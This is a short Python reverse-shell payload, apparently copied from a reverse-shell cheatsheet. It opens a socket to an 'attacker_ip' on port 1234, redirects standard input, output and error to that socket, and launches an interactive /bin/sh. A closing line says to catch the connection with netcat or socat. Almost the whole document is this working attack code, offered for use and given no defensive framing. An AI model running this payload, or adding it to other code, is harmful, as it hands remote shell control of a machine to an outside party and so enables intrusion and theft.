import socket import subprocess import os attacker_ip = "10.0.0.1" attacker_port = 1234 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((attacker_ip, attacker_port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) Adapted from slyth11907 / Cheatsheets / Cheatsheet_ReverseShells. Catch it with netcat or socat.